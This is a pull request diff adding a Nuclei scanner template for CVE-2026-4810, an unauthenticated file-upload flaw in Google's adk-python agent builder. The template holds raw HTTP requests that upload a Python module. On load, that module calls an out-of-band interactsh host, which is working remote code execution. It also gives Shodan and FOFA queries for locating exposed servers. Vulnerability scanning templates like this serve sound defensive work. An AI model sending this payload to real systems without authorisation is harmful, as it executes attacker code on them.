Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
76 changes: 76 additions & 0 deletions http/cves/2026/CVE-2026-4810.yaml
Original file line number Diff line number Diff line change
@@ -0,0 +1,76 @@
id: CVE-2026-4810

info:
name: Google ADK-Python - Unauthenticated Builder Endpoint (Pre-RCE)
author: dwisiswant0
severity: critical
description: |
Google Agent Development Kit for Python (adk-python) versions 1.7.0 through 1.28.1
(and 2.0.0a1 through 2.0.0a2) expose unauthenticated builder API endpoints that
accept arbitrary file uploads, including Python modules. Combined with unvalidated
dynamic imports in the agent loading pipeline (importlib.import_module), this allows
unauthenticated remote code execution.
impact: |
Unauthenticated remote attackers can execute arbitrary code on the server, leading to full system compromise.
remediation: |
Upgrade to versions 1.28.1 and 2.0.0a2 or later and redeploy to production and local environments.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2026-4810
- https://github.com/google/adk-python/blob/main/CHANGELOG.md
classification:
cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:P/U:Amber
cvss-score: 9.3
cve-id: CVE-2026-4810
cwe-id: CWE-306,CWE-94
metadata:
verified: true
max-request: 2
vendor: google
product: adk-python
shodan-query: title:"ADK" http.component:"uvicorn"
fofa-query: body="ADK" && header="uvicorn"
tags: cve,cve2026,adk,google,rce,unauth,code-injection

variables:
multipart_boundary: "{{md5(date_time('2006-01-02T15:04:05Z07:00'))}}"
agent_name: "{{rand_text_alpha(1)}}{{rand_text_alpha(7)}}"
rand_instruction: "{{rand_base(12)}}"

http:
- raw:
- |
POST /builder/save HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate, zstd
Accept: */*
Connection: keep-alive
Content-Type: multipart/form-data; boundary={{multipart_boundary}}

--{{multipart_boundary}}
Content-Disposition: form-data; name="files"; filename="{{agent_name}}/agent.py"
Content-Type: text/x-python

import requests
response = requests.get("http://{{interactsh-url}}")
print(response.text)
from google.adk.agents import Agent
root_agent = Agent(name="{{agent_name}}", model="gemini-2.0-flash", instruction="{{rand_instruction}}")

--{{multipart_boundary}}--
- |
GET /list-apps?detailed=true HTTP/1.1
Host: {{Hostname}}
Connection: close

matchers-condition: and
matchers:
- type: dsl
dsl:
- status_code_1 == 200 && body_1 == "true"
- status_code_2 == 200 && contains(body_2, concat("\"", agent_name, "\""))
condition: and

- type: word
part: interactsh_protocol
words:
- dns
Loading